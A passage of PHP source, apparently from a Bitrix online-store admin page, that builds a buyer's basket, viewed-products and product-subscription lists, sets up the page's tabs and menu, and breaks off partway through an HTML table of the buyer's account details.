	$basketBy = (!empty($_REQUEST["basket_by"]) ? trim($_REQUEST["basket_by"]) : "DATE_INSERT");
	$basketSort = (!empty($_REQUEST["basket_sort"]) ? trim($_REQUEST["basket_sort"]) : "DESC");

	if (!isset($_REQUEST["basket_by"]))
		$arBasketSort = array("DATE_INSERT" => "DESC", "LID" => "ASC");
	else
		$arBasketSort[$basketBy] = $basketSort;

	$arBasketFilter = array("FUSER.USER_ID" => $ID, "ORDER_ID" => "NULL");

	if (strlen($filter_basket_lid)>0)
		$arBasketFilter["LID"] = trim($filter_basket_lid);

	if (strlen(trim($basket_name_product)) > 0)
		$arBasketFilter["%NAME"] = $basket_name_product;

	CAdminMessage::ShowNote($basketMessage);
	CAdminMessage::ShowMessage($basketError);

	//update price
	$arCacheFuser = array();
	$arUpdateFilter = $arBasketFilter;
	$arUpdateFilter["!CALLBACK_FUNC"] = '';

	$dbBasketList = \Bitrix\Sale\Internals\BasketTable::getList(array(
		                                                            'order' => $arBasketSort,
		                                                            'filter' => $arUpdateFilter,
		                                                            'select' => array('FUSER_ID', 'LID')
	                                                            ));
	while ($arBasket = $dbBasketList->fetch())
	{
		if (!in_array($arBasket["FUSER_ID"], $arCacheFuser))
		{
			$arCacheFuser[] = $arBasket["FUSER_ID"];
			CSaleBasket::UpdateBasketPrices($arBasket["FUSER_ID"], $arBasket["LID"]);
		}
	}

	$dbBasketList = \Bitrix\Sale\Internals\BasketTable::getList(array(
		                                                            'order' => array_merge(
			                                                            array(
				                                                            "SET_PARENT_ID" => "DESC",
				                                                            "TYPE" => "DESC"),
			                                                            $arBasketSort),
		                                                            'filter' => $arBasketFilter,
	                                                            ));

	$dbBasketList = new CAdminResult($dbBasketList, $sTableID_tab4);
	$dbBasketList->NavStart();
	$lAdmin_tab4->NavText($dbBasketList->GetNavPrint(GetMessage('BUYER_BASKET_BASKET')));

	$BasketHeader = array(
		array("id"=>"DATE_INSERT", "content"=>GetMessage("BUYER_BH_DATE_INSERT"), "sort"=>"DATE_INSERT", "default"=>true),
		array("id"=>"NAME","content"=>GetMessage("BUYER_BH_NAME"), "sort"=>"NAME", "default"=>true),
		array("id"=>"PRICE", "content"=>GetMessage("BUYER_BH_PRICE"), "sort"=>"PRICE", "default"=>true),
		array("id"=>"QUANTITY", "content"=>GetMessage("BUYER_BH_QUANTITY"), "sort"=>"QUANTITY", "default"=>true),
	);
	if (count($arSites) > 1)
		$BasketHeader[] = array("id"=>"LID", "content"=>GetMessage("BUYER_BH_LID"), "sort"=>"LID", "default"=>true);

	$lAdmin_tab4->AddHeaders($BasketHeader);

	$arSetData = array();
	$arBasketData = array();
	while ($arBasket = $dbBasketList->GetNext())
	{
		if (CSaleBasketHelper::isSetItem($arBasket))
		{
			$arSetData[$arBasket["SET_PARENT_ID"]][] = $arBasket;
			continue;
		}

		$arBasketData[] = $arBasket;
	}

	foreach ($arBasketData as $arBasket)
	{
		$row =& $lAdmin_tab4->AddRow($arBasket["PRODUCT_ID"], $arBasket, '', '');

		$name = "<a href=\"".$arBasket["DETAIL_PAGE_URL"]."\">".$arBasket["NAME"]."</a>
			<input type=\"hidden\" value=\"".$arBasket["PRODUCT_ID"]."\" name=\"PRODUCT_ID[".$arBasket["LID"]."][]\" />";
		$name .= "<input type=\"hidden\" name=\"table_id\" value=\"".$sTableID_tab4."\">";

		$dbProp = CSaleBasket::GetPropsList(Array("SORT" => "ASC", "ID" => "ASC"), Array("BASKET_ID" => $arBasket["ID"], "!CODE" => array("CATALOG.XML_ID", "PRODUCT.XML_ID")));
		while($arProp = $dbProp -> GetNext())
		{
			$name .= "<div><small>".$arProp["NAME"].": ".$arProp["VALUE"]."</small></div>";
		}

		if (CSaleBasketHelper::isSetParent($arBasket))
		{
			$name .= "<br/><a href=\"javascript:void(0);\" class=\"dashed-link show-set-link\" id=\"set_toggle_link_b2".$arBasket["ID"]."\" onclick=\"fToggleSetItems('b2".$arBasket["ID"]."', 'set_toggle_link_');\">".GetMessage("BUYER_F_SHOW_SET")."</a><br/>";

			if (!empty($arSetData) && array_key_exists($arBasket["ID"], $arSetData))
			{
				$name .= "<div class=\"set_item_b2".$arBasket["ID"]."\" style=\"display:none\">";
				foreach ($arSetData[$arBasket["ID"]] as $set)
					$name .= "<p style=\"display:inline; font-style:italic\">".$set["NAME"]."</p><br/>";
				$name .= "</div>";
			}
		}

		$row->AddField("NAME", $name);
		$row->AddField("PRICE", SaleFormatCurrency($arBasket["PRICE"], $arBasket["CURRENCY"]));

		if (count($arSites) > 1)
			$row->AddField("LID", "[".$arBasket["LID"]."] ".htmlspecialcharsbx($arSites[$arBasket["LID"]]["NAME"])."");
	}

	$lAdmin_tab4->AddGroupActionTable(
		array(
			"order_basket" => GetMessage("BUYER_PD_ORDER"),
			"delay_y" => GetMessage("BUYER_PD_DELAY_Y"),
			"delay_n" => GetMessage("BUYER_PD_DELAY_N"),
			"delete_basket" => GetMessage("BUYER_PD_DELETE"),
		)
	);
	if($_REQUEST["table_id"]==$sTableID_tab4)
		$lAdmin_tab4->CheckListMode();
	//END BUYERS BASKET


	//BUYERS VIEWED PRODUCT
	$sTableID_tab5 = "t_stat_list_tab5";
	$oSort_tab5 = new CAdminSorting($sTableID_tab5, false, false, 'viewed_by', 'viewed_sort');
	$lAdmin_tab5 = new CAdminList($sTableID_tab5, $oSort_tab5);

	$viewedBy = (!empty($_REQUEST["viewed_by"]) ? trim($_REQUEST["viewed_by"]) : "DATE_VISIT");
	$viewedSort = (!empty($_REQUEST["viewed_sort"]) ? trim($_REQUEST["viewed_sort"]) : "DESC");

	if (!isset($_REQUEST["viewed_by"]))
		$viewedProductsSort = array("DATE_VISIT" => "DESC", "SITE_ID" => "ASC");
	else
		$viewedProductsSort[$viewedBy] = $viewedSort;

	//FILTER VIEWED
	$arFilterFields = array(
		"filter_viewed_date_visit",
		"filter_date_visit_from",
		"filter_date_visit_to",
		"filter_viewed_lid",
	);
	$lAdmin_tab5->InitFilter($arFilterFields);

	$arFilter = array();
	$arFuserItems = CSaleUser::GetList(array("USER_ID" => $ID));
	$arFilter["FUSER_ID"] = $arFuserItems["ID"];

	if (strlen($filter_viewed_lid)>0)
		$arFilter["LID"] = trim($filter_viewed_lid);

	if(strlen(trim($filter_date_visit_from))>0)
	{
		$arFilter["DATE_FROM"] = FmtDate($filter_date_visit_from,"D.M.Y");
	}
	if(strlen(trim($filter_date_visit_to))>0)
	{
		if ($arDate = ParseDateTime($filter_date_visit_to, CSite::GetDateFormat("FULL", SITE_ID)))
		{
			if (StrLen($filter_date_visit_to) < 11)
			{
				$arDate["HH"] = 23;
				$arDate["MI"] = 59;
				$arDate["SS"] = 59;
			}

			$filter_date_visit_to = date($DB->DateFormatToPHP(CSite::GetDateFormat("FULL", SITE_ID)), mktime($arDate["HH"], $arDate["MI"], $arDate["SS"], $arDate["MM"], $arDate["DD"], $arDate["YYYY"]));
			$arFilter["DATE_TO"] = $filter_date_visit_to;
		}
		else
		{
			$filter_date_visit_to = "";
		}
	}

	if(strlen(trim($filter_date_visit_from_DAYS_TO_BACK))>0)
	{
		$dateBack = IntVal($filter_date_visit_from_DAYS_TO_BACK);
		$arFilter["DATE_FROM"] = ConvertTimeStamp(AddToTimeStamp(array("DD" => "-".$dateBack), mktime(0, 0, 0, date("n"), date("j"), date("Y"))), "SHORT");
	}

	CAdminMessage::ShowNote($viewedMessage);
	CAdminMessage::ShowMessage($viewedError);


	$newFilter = array(
		'FUSER_ID' => \Bitrix\Sale\Fuser::getIdByUserId($ID)
	);
	foreach($arFilter as $key => $value)
	{
		if($key == "DATE_FROM")
		{
			$newFilter['>=DATE_VISIT'] = $value;
		}
		elseif($key == "DATE_TO")
		{
			$newFilter['<DATE_VISIT'] = $value;
		}
	}

	if(\Bitrix\Main\Loader::includeModule("catalog"))
	{
		$viewedQuery = new \Bitrix\Main\Entity\Query(\Bitrix\Catalog\CatalogViewedProductTable::getEntity());
		$viewedQuery->setSelect(array(
			"PRODUCT_ID",
			"DATE_VISIT",
			"SITE_ID",
			"VIEW_COUNT",
			"NAME" => "ELEMENT.NAME",
			"PRICE" => "PRODUCT.PRICE",
			"QUANTITY" => "PRODUCT.QUANTITY",
			"CURRENCY" => "PRODUCT.CURRENCY",
			"RATE" => "PRODUCT.CURRENT_CURRENCY_RATE",
			"CURRENCY_RATE" => "PRODUCT.CURRENT_CURRENCY_RATE_CNT"
		))->setfilter($newFilter)
		->setOrder($viewedProductsSort)
		;
		$viewedIterator = $viewedQuery->exec();
	}
	else
		$viewedIterator = new CDBResult();



	$dbViewsList = new CAdminResult($viewedIterator, $sTableID_tab5);
	$dbViewsList->NavStart();
	$lAdmin_tab5->NavText($dbViewsList->GetNavPrint(GetMessage('BUYER_PRODUCT_LIST')));

	$viewedHeader = array(
		array("id"=>"DATE_VISIT", "content"=>GetMessage("BUYER_V_DATE_INSERT"), "sort"=>"DATE_VISIT", "default"=>true),
		array("id"=>"NAME","content"=>GetMessage("BUYER_V_NAME"), "sort"=>"NAME", "default"=>true),
		array("id"=>"PRICE", "content"=>GetMessage("BUYER_V_PRICE"), "sort"=>"PRICE", "default"=>true),
		array("id"=>"QUANTITY", "content"=>GetMessage("BUYER_V_QUANTITY"), "sort"=>"", "default"=>true),
	);

	if (count($arSites) > 1)
		$viewedHeader[] = array("id"=>"SITE_ID", "content"=>GetMessage("BUYER_V_LID"), "sort"=>"SITE_ID", "default"=>true);

	$lAdmin_tab5->AddHeaders($viewedHeader);

	$arProductId = array();
	$arCatalogProductId = array();
	$arViewsData = array();
	$mapViewByProduct = array();
	$viewCount = 0;
	while ($arViews = $dbViewsList->Fetch())
	{
		$arViewsData[$viewCount] = $arViews;
		$elementID = (int)$arViews["PRODUCT_ID"];
		if (!isset($mapViewByProduct[$elementID]))
			$mapViewByProduct[$elementID] = array();
		$mapViewByProduct[$elementID][] = $viewCount;
		$arProductId[$arViews["PRODUCT_ID"]] = $arViews["PRODUCT_ID"];
		$arCatalogProductId[] = $arViews["PRODUCT_ID"];
		$viewCount++;
	}
	unset($arViews, $dbViewsList, $viewCount);

	// Get product name
	if (!empty($arCatalogProductId))
	{
		$elementIterator = CIblockElement::GetList(
			array(),
			array("ID" => $arCatalogProductId),
			false,
			false,
			array('ID', 'IBLOCK_ID', 'DETAIL_PAGE_URL')
		);
		while($element = $elementIterator->GetNext())
		{
			$elementID = (int)$element['ID'];
			if (isset($mapViewByProduct[$elementID]) && !empty($mapViewByProduct[$elementID]))
			{
				foreach ($mapViewByProduct[$elementID] as &$viewCount)
				{
					$arViewsData[$viewCount]['DETAIL_PAGE_URL'] = $element['~DETAIL_PAGE_URL'];
				}
				unset($viewCount);
			}
		}
		unset($element, $elementIterator);
	}

	// collect iblock info about all products in the static class member. Will be used in the CSaleProduct::GetProductSku
	if (!empty($arProductId))
		CSaleProduct::GetProductListIblockInfo($arProductId);
	// Resort items by params
	if (!isset($_REQUEST["by"]))
		$arViewSort = array("DATE_VISIT" => SORT_DESC);
	else
		$arViewSort[$_REQUEST["by"]] = ($_REQUEST["order"] == "asc" ? SORT_ASC : SORT_DESC);

	Bitrix\Main\Type\Collection::sortByColumn($arViewsData, $arViewSort);

	foreach ($arViewsData as $arViews)
	{
		$row =& $lAdmin_tab5->AddRow($arViews["PRODUCT_ID"], $arViews, '', '');

		$name = "[".$arViews["PRODUCT_ID"]."] <a href=\"".$arViews["DETAIL_PAGE_URL"]."\">".htmlspecialcharsEx($arViews["NAME"])."</a>";
		if (floatVal($arViews["PRICE"]) <= 0)
			$name .= "<div class=\"dont_can_buy\">(".GetMessage('BUYER_DONT_CAN_BUY').")</div>";
		$name .= "<input type=\"hidden\" name=\"table_id\" value=\"".$sTableID_tab5."\">";

		// get set items
		/** @var $productProvider IBXSaleProductProvider */
		if ($productProvider = CSaleBasket::GetProductProvider($arViews))
		{
			if (method_exists($productProvider, "GetSetItems"))
			{
				$arSets = $productProvider::GetSetItems($arViews["PRODUCT_ID"], CSaleBasket::TYPE_SET);

				if (!empty($arSets))
				{
					$name .= "<br/><a href=\"javascript:void(0);\" class=\"dashed-link show-set-link\" id=\"set_toggle_link_b3".$arBasket["ID"]."\" onclick=\"fToggleSetItems('b3".$arBasket["ID"]."', 'set_toggle_link_');\">".GetMessage("BUYER_F_SHOW_SET")."</a><br/>";

					$name .= "<div class=\"set_item_b3".$arBasket["ID"]."\" style=\"display:none\">";
					foreach ($arSets as $arSetData)
					{
						foreach ($arSetData["ITEMS"] as $setItem)
						{
							$name .= "<br/>[".$setItem["ITEM_ID"]."] <a style=\"font-style: italic\" href=".$setItem["DETAIL_PAGE_URL"].">".$setItem["NAME"]."</a>";
						}
					}
					$name .= "</div>";
				}
			}
		}

		$row->AddField("NAME", $name);

		$QUANTITY = "&nbsp;";
		if (isset($arViews["QUANTITY"]))
			$QUANTITY = $arViews["QUANTITY"];

		$row->AddField("QUANTITY", $QUANTITY);

		$price = "&nbsp;";
		if (floatval($arViews["PRICE"]) > 0)
			$price = SaleFormatCurrency($arViews["PRICE"], $arViews["CURRENCY"]);
		$row->AddField("PRICE", $price);


		if (count($arSites) > 1)
			$row->AddField("LID", "[".$arViews["LID"]."] ".htmlspecialcharsbx($arSites[$arViews["LID"]]["NAME"])."");

		$arResult = CSaleProduct::GetProductSku($ID, $arViews['SITE_ID'], $arViews["PRODUCT_ID"], $arViews["NAME"]);

		$arResult["POPUP_MESSAGE"] = array(
				"PRODUCT_ADD_TO_ORDER" => GetMessage('BUYER_PD_ORDER'),
				"PRODUCT_ADD_TO_BASKET" => GetMessage('BUYER_PD_DELAY_N'),
				"PRODUCT_NOT_TO_ORDER" => GetMessage('BUYER_DONT_CAN_BUY'),
				"PRODUCT_PRICE_FROM" => GetMessage('BUYERS_FROM')
			);

		if (count($arResult["SKU_ELEMENTS"]) > 0):
			$linkOrder = "showOfferPopup(".CUtil::PhpToJsObject($arResult['SKU_ELEMENTS']).", ".CUtil::PhpToJsObject($arResult['SKU_PROPERTIES']).", 'order', ".CUtil::PhpToJsObject($arResult["POPUP_MESSAGE"]).");";
			$linkBasket = "showOfferPopup(".CUtil::PhpToJsObject($arResult['SKU_ELEMENTS']).", ".CUtil::PhpToJsObject($arResult['SKU_PROPERTIES']).", 'basket', ".CUtil::PhpToJsObject($arResult["POPUP_MESSAGE"]).");";
		else:
			$linkOrder = 'BX.adminPanel.Redirect([], \'/bitrix/admin/sale_order_create.php?USER_ID='.$ID.'&lang='.LANG.'&SITE_ID='.$arViews["SITE_ID"].'&product['.$arViews["PRODUCT_ID"].']=1\', event);';
			$linkBasket = 'fAddToBasketViewed('.$arViews["PRODUCT_ID"].', \''.$arViews["SITE_ID"].'\')';
		endif;

		$arActions = array();
		$arActions[] = array("ICON"=>"edit", "TEXT"=>GetMessage("BUYER_PD_ORDER"), "ACTION"=>$linkOrder, "DEFAULT"=>true);
		$arActions[] = array("ICON"=>"edit", "TEXT"=>GetMessage("BUYER_PD_DELAY_N"), "ACTION"=>$linkBasket);

		if (floatval($arViews["PRICE"]) > 0)
			$row->AddActions($arActions);
	}

	if($_REQUEST["table_id"]==$sTableID_tab5)
		$lAdmin_tab5->CheckListMode();

	//END VIEWED

	//SUBSCRIPTION PRODUCTS
	if($catalogSubscribeEnabled)
	{
		$sTableID_tab6 = "t_stat_list_tab6";
		$oSort_tab6 = new CAdminSorting($sTableID_tab6, false, false, 'byS', 'orderS');
		$lAdmin_tab6 = new CAdminList($sTableID_tab6, $oSort_tab6);
		$arFilterFields = array(
			'find_id',
			'find_user_contact',
			'find_item_id',
			'find_date_from_1',
			'find_date_from_2',
			'find_date_to_1',
			'find_date_to_2',
			'find_contact_type',
			'find_active'
		);
		$lAdmin_tab6->InitFilter($arFilterFields);
		$filter = array('=USER_ID' => $ID);
		if($find_id)
			$filter['=ID'] = $find_id;
		if($find_user_contact)
			$filter['%USER_CONTACT'] = $find_user_contact;
		if($find_item_id)
			$filter['=ITEM_ID'] = $find_item_id;
		if($find_date_from_1)
			$filter['>=DATE_FROM'] = $find_date_from_1;
		if($find_date_to_1)
			$filter['>=DATE_TO'] = $find_date_to_1;
		if($find_contact_type)
			$filter['=CONTACT_TYPE'] = $find_contact_type;
		if($find_active)
		{
			global $DB;
			if($find_active == 'Y')
			{
				$filter[] = array(
					'LOGIC' => 'OR',
					array('=DATE_TO' => false),
					array('>DATE_TO' => date($DB->dateFormatToPHP(CLang::getDateFormat('FULL')), time()))
				);
			}
			else
			{
				$filter[] = array(
					'LOGIC' => 'AND',
					array('!=DATE_TO' => false),
					array('<DATE_TO' => date($DB->dateFormatToPHP(CLang::getDateFormat('FULL')), time()))
				);
			}
		}
		if(!empty($find_date_from_2))
		{
			$filter['<=DATE_FROM'] = CIBlock::isShortDate($find_date_from_2) ?
				ConvertTimeStamp(AddTime(MakeTimeStamp($find_date_from_2), 1, 'D'), 'FULL'): $find_date_from_2;
		}
		if(!empty($find_date_to_2))
		{
			$filter['<=DATE_TO'] = CIBlock::isShortDate($find_date_to_2) ?
				ConvertTimeStamp(AddTime(MakeTimeStamp($find_date_to_2), 1, 'D'), 'FULL'): $find_date_to_2;
		}

		$subscribeManager = new \Bitrix\Catalog\Product\SubscribeManager();
		if(($listRowId = $lAdmin_tab6->groupAction()))
		{
			switch($_REQUEST['action'])
			{
				case 'delete':
					$itemId = 0;
					if(isset($_REQUEST['itemId']))
						$itemId = $_REQUEST['itemId'];
					$subscribeManager->deleteManySubscriptions($listRowId, $itemId);
					break;
				case 'activate':
					$subscribeManager->activateSubscription($listRowId);
					break;
				case 'deactivate':
					$subscribeManager->deactivateSubscription($listRowId);
					break;
			}

			$errorObject = current($subscribeManager->getErrors());
			if($errorObject)
			{
				$lAdmin_tab6->addGroupError($errorObject->getMessage());
			}
		}

		$subscriptionHeaders = array();
		$subscriptionHeaders['ID'] = array('id' => 'ID', 'content' => 'ID', 'sort' => 'ID', 'default' => true, 'align' => 'center');
		$subscriptionHeaders['DATE_FROM'] = array('id' => 'DATE_FROM','content' => Loc::getMessage('CS_DATE_FROM'),
			'sort' => 'DATE_FROM', 'default' => true);
		$subscriptionHeaders['USER_CONTACT'] = array('id' => 'USER_CONTACT','content' => Loc::getMessage('CS_USER_CONTACT'),
			'sort' => 'USER_CONTACT', 'default' => true);
		$subscriptionHeaders['USER_ID'] = array('id' => 'USER_ID', 'content' => Loc::getMessage('CS_USER'),
			'default' => true);
		$subscriptionHeaders['CONTACT_TYPE'] = array('id' => 'CONTACT_TYPE','content' => Loc::getMessage('CS_CONTACT_TYPE'),
			'sort' => 'CONTACT_TYPE', 'default' => true, 'align' => 'center');
		$subscriptionHeaders['ACTIVE'] = array('id' => 'ACTIVE', 'content' => Loc::getMessage('CS_ACTIVE'),
			'default' => true, 'align' => 'center');
		$subscriptionHeaders['DATE_TO'] = array('id' => 'DATE_TO','content' => Loc::getMessage('CS_DATE_TO'),
			'sort' => 'DATE_TO', 'default' => true);
		$subscriptionHeaders['ITEM_ID'] = array('id' => 'ITEM_ID','content' => Loc::getMessage('CS_ITEM_ID'),
			'sort' => 'ITEM_ID', 'default' => false, 'align' => 'right');
		$subscriptionHeaders['PRODUCT_NAME'] = array('id' => 'PRODUCT_NAME','content' => Loc::getMessage('CS_PRODUCT_NAME'),
			'sort' => 'PRODUCT_NAME', 'default' => true);
		$subscriptionHeaders['SITE_ID'] = array('id' => 'SITE_ID','content' => Loc::getMessage('CS_SITE_ID'),
			'sort' => 'SITE_ID', 'default' => true, 'align' => 'center');

		$lAdmin_tab6->addHeaders($subscriptionHeaders);
		$select = array();
		$ignoreFields = array('ACTIVE');
		$selectFields = array_keys($subscriptionHeaders);
		$selectFields = array_diff($selectFields, $ignoreFields);
		foreach($selectFields as $fieldName)
		{
			$select[$fieldName] = $fieldName;
		}
		$select['PRODUCT_NAME'] = 'IBLOCK_ELEMENT.NAME';
		$select['IBLOCK_ID'] = 'IBLOCK_ELEMENT.IBLOCK_ID';

		$byS = (!empty($_REQUEST['byS']) ? trim($_REQUEST['byS']) : 'DATE_FROM');
		$orderS = (!empty($_REQUEST['orderS']) ? trim($_REQUEST['orderS']) : 'DESC');

		if (!isset($_REQUEST['byS']))
			$queryOrder = array('DATE_FROM' => 'DESC');
		else
			$queryOrder[$byS] = $orderS;

		$nav = new Bitrix\Main\UI\AdminPageNavigation('buyers-subscription-list');
		$queryObject = Bitrix\Catalog\SubscribeTable::getList(array(
			'select' => $select,
			'filter' => $filter,
			'order' => $queryOrder,
			'count_total'=>true,
			'offset' => $nav->getOffset(),
			'limit' => $nav->getLimit()
		));
		$nav->setRecordCount($queryObject->getCount());
		$lAdmin_tab6->setNavigation($nav, Loc::getMessage('CS_PAGES'));

		$contactType = Bitrix\Catalog\SubscribeTable::getContactTypes();
		$actionUrl = '&USER_ID='.$ID.'&lang='.LANGUAGE_ID;
		$listUserData = array();
		while($subscribe = $queryObject->fetch())
		{
			$subscribe['CONTACT_TYPE'] = $contactType[$subscribe['CONTACT_TYPE']]['NAME'];
			if(!empty($subscribe['USER_ID']))
			{
				$listUserData[$subscribe['USER_ID']][] = $subscribe['ID'];
			}

			$rowList[$subscribe['ID']] = $row = &$lAdmin_tab6->addRow($subscribe['ID'], $subscribe);

			if($subscribeManager->checkSubscriptionActivity($subscribe['DATE_TO']))
			{
				$row->addField('ACTIVE', Loc::getMessage('CS_FILTER_YES'));
			}
			else
			{
				$row->addField('ACTIVE', Loc::getMessage('CS_FILTER_NO'));
			}

			if(defined('CATALOG_PRODUCT'))
			{
				$editUrl = CIBlock::getAdminElementEditLink($subscribe['IBLOCK_ID'], $subscribe['ITEM_ID'], array(
					'find_section_section' => -1, 'WF' => 'Y',
					'return_url' => $APPLICATION->getCurPageParam()));
			}
			else
			{
				$editUrl = CIBlock::getAdminElementEditLink($subscribe['IBLOCK_ID'], $subscribe['ITEM_ID'], array(
					'find_section_section' => -1, 'WF' => 'Y'));
			}
			$row->addField('PRODUCT_NAME',
				'<a href="'.$editUrl.'" target="_blank">'.htmlspecialcharsbx($subscribe['PRODUCT_NAME']).'</a>');

			$actions = array();
			$actionUrl .= '&itemId='.$subscribe['ITEM_ID'];
			$actions[] = array(
				'ICON' => 'delete',
				'TEXT' => Loc::getMessage('CS_ACTION_DELETE'),
				'ACTION' => "if(confirm('".GetMessageJS('CS_ACTION_DELETE_CONFIRM')."')) ".
					$lAdmin_tab6->actionDoGroup($subscribe['ID'], 'delete', $actionUrl)
			);
			$actions[] = array(
				'TEXT' => Loc::getMessage('CS_ACTION_ACTIVATE'),
				'ACTION' => $lAdmin_tab6->actionDoGroup($subscribe['ID'], 'activate', $actionUrl)
			);
			$actions[] = array(
				'TEXT' => Loc::getMessage('CS_ACTION_DEACTIVATE'),
				'ACTION' => $lAdmin_tab6->actionDoGroup($subscribe['ID'], 'deactivate', $actionUrl)
			);

			$row->addActions($actions);
		}
		if (!empty($listUserData))
		{
			$listUserId = array_keys($listUserData);
			$listUsers = implode(' | ', $listUserId);
			$userQuery = CUser::getList($byUser = 'ID', $orderUser = 'ASC',
				array('ID' => $listUsers) ,
				array('FIELDS' => array('ID' ,'LOGIN', 'NAME', 'LAST_NAME')));
			while($user = $userQuery->fetch())
			{
				if(is_array($listUserData[$user['ID']]))
				{
					foreach($listUserData[$user['ID']] as $subscribeId)
					{
						$userString='<a href="/bitrix/admin/user_edit.php?ID='.$user['ID'].'&lang='.LANGUAGE_ID.'" target="_blank">'.
							CUser::formatName(CSite::getNameFormat(false), $user, true, true).'</a>';
						$rowList[$subscribeId]->addField('USER_ID', $userString);
					}
				}
			}
		}

		$footerArray = array(array('title' => Loc::getMessage('CS_LIST_SELECTED'),
			'value' => $queryObject->getCount()));
		$lAdmin_tab6->addFooter($footerArray);

		$lAdmin_tab6->addGroupActionTable(array(
			'delete' => Loc::getMessage('CS_ACTION_DELETE'),
			'activate' => Loc::getMessage('CS_ACTION_ACTIVATE'),
			'deactivate' => Loc::getMessage('CS_ACTION_DEACTIVATE'),
		));

		if($_REQUEST["table_id"] == $sTableID_tab6)
			$lAdmin_tab6->checkListMode();
	}
	//END SUBSCRIPTION PRODUCTS


	require_once ($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");

	$siteLID = "";
	$arSiteMenu = array();
	$arSitesShop = array();
	$arSitesTmp = array();
	$rsSites = CSite::GetList($b="id", $o="asc", Array("ACTIVE" => "Y"));
	while ($arSite = $rsSites->Fetch())
	{
		$site = COption::GetOptionString("sale", "SHOP_SITE_".$arSite["ID"], "");
		if ($arSite["ID"] == $site)
			$arSitesShop[] = array("ID" => $arSite["ID"], "NAME" => $arSite["NAME"]);

		$arSitesTmp[] = array("ID" => $arSite["ID"], "NAME" => $arSite["NAME"]);
	}

	$rsCount = count($arSitesShop);
	if ($rsCount <= 0)
	{
		$arSitesShop = $arSitesTmp;
		$rsCount = count($arSitesShop);
	}

	if ($rsCount === 1)
		$siteLID = "&SITE_ID=".$arSitesShop[0]["ID"]."&USER_ID=".$ID;
	else
	{
		foreach ($arSitesShop as $key => $val)
		{
			$arSiteMenu[] = array(
				"TEXT" => $val["NAME"]." (".$val["ID"].")",
				"ACTION" => "window.location = 'sale_order_create.php?lang=".LANGUAGE_ID."&USER_ID=".$ID."&SITE_ID=".$val["ID"]."';"
			);
		}
	}

	$arMenu = array(
		array(
			"TEXT"=>GetMessage("BUYER_LIST"),
			"LINK" => "/bitrix/admin/sale_buyers.php?lang=".LANGUAGE_ID.GetFilterParams("filter_"),
			"ICON" => "btn_list",
		),
		array(
			"TEXT"=>GetMessage("BUYER_NEW_ORDER"),
			"LINK" => "/bitrix/admin/sale_order_create.php?lang=".LANGUAGE_ID.$siteLID,
			"TITLE"=>GetMessage("BUYER_NEW_ORDER"),
			"ICON" => "btn_new",
			"MENU" => $arSiteMenu
		),
	);

	$context = new CAdminContextMenu($arMenu);
	$context->Show();


	$aTabs = array(
		array(
			"DIV" => "tab1",
			"TAB" => GetMessage("BUYER_INFO"),
			"ICON"=>"",
			"TITLE"=>GetMessage("BUYER_INFO_DESC"),
		),
		array(
			"DIV" => "tab2",
			"TAB" => GetMessage("BUYER_PROFILE"),
			"ICON"=>"",
			"TITLE"=>GetMessage("BUYER_PROFILE_DESC"),
		),
		array(
			"DIV" => "tab3",
			"TAB" => GetMessage("BUYER_ORDER"),
			"ICON"=>"",
			"TITLE"=>GetMessage("BUYER_ORDER_DESC"),
		),
		array(
			"DIV" => "tab4",
			"TAB" => GetMessage("BUYER_BASKET"),
			"ICON"=>"",
			"TITLE"=>GetMessage("BUYER_BASKET_DESC"),
		),
		array(
			"DIV" => "tab5",
			"TAB" => GetMessage("BUYER_LOOKED"),
			"ICON"=>"",
			"TITLE"=>GetMessage("BUYER_LOOKED_DESC"),
		),
	);

	if($catalogSubscribeEnabled)
	{
		$aTabs[] = array(
			"DIV" => "tab6",
			"TAB" => GetMessage("CS_TAB_TITLE"),
			"ICON" => "",
			"TITLE" => GetMessage("CS_TAB_DESC"),
		);
	}

	$tabControl = new CAdminTabControl("tabControl", $aTabs, true, true);
	$tabControl->Begin();
	?>

	<br />
		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<table border="0" cellspacing="0" cellpadding="0" width="100%" class="adm-detail-content-table edit-table">
				<tr class="heading">
					<td colspan="2"><?=GetMessage("BUYER_ALL_INFO")?></td>
				</tr>
				<tr>
					<td class="adm-detail-content-cell-l" width="40%"><?=GetMessage("BUYER_FILED_LOGIN")?>:</td>
					<td class="adm-detail-content-cell-r">
						<div><a href="/bitrix/admin/user_edit.php?ID=<?=$u_ID?>&lang=<?=LANG?>"><?=$u_LOGIN?></a></div>
					</td>
				</tr>
				<?if(strlen($userFIO) > 0):?>
					<tr>
						<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_FIO")?>:</td>
						<td class="adm-detail-content-cell-r">
							<div><?=$userFIO?></div>
						</td>
					</tr>
				<?endif;?>
				<tr>
					<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_MAIL")?>:</td>
					<td class="adm-detail-content-cell-r">
						<div><a href="mailto:<?=$u_EMAIL?>"><?=$u_EMAIL?></a></div>
					</td>
				</tr>
				<?if(strlen($u_PERSONAL_PHONE) > 0):?>
					<tr>
						<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_PHONE")?>:</td>
						<td class="adm-detail-content-cell-r">
							<div><a href="callto:<?=$u_PERSONAL_PHONE?>"><?=$u_PERSONAL_PHONE?></a></div>
						</td>
					</tr>
				<?endif;?>
				<?if(strlen($u_PERSONAL_MOBILE) > 0):?>
					<tr>
						<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_PHONE_M")?>:</td>
						<td class="adm-detail-content-cell-r">
							<div><a href="callto:<?=$u_PERSONAL_MOBILE?>"><?=$u_PERSONAL_MOBILE?></a></div>
						</td>
					</tr>
				<?endif;?>
				<tr>
					<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_REG")?>:</td>
					<td class="adm-detail-content-cell-r">
						<div><?=$u_DATE_REGISTER?></div>
					</td>
				</tr>
				<tr>
					<td class="adm-detail-content-cell-l"><?=GetMessage("BUYER_FILED_LAST_LOGIN")?>:</td>
					<td class="adm-detail-content-cell-r">
						<div><?=$u_LAST_LOGIN?></div>
					</td>
				</tr>
				<tr>
					<td class="adm-detail-content-cell-l" valign="top"><?=GetMessage("BUYER_FILED_GROUP")?>:</td>
					<td class="adm-detail-content-cell-r">
						<div><?=$strUserGroup?></div>
					</td>
				</tr>
				<?if (strlen($userAdres) > 0):?>
				<tr>
					<td class="adm-detail-content-cell-l" valign="top"><?=GetMessage("BUYER_FILED_ADRES")?>:</td>
					<td class="adm-detail-content-cell-r">
